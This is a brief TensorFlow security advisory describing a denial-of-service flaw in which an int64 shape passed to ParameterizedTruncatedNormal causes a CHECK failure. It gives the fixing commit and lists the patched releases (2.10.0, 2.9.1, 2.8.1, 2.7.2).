ParameterizedTruncatedNormal
assumes shape
is of type int32
. A valid shape
of type int64
results in a mismatched type CHECK
fail that can be used to trigger a denial of service attack.

We have patched the issue in GitHub commit 72180be03447a10810edca700cbc9af690dfeb51.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
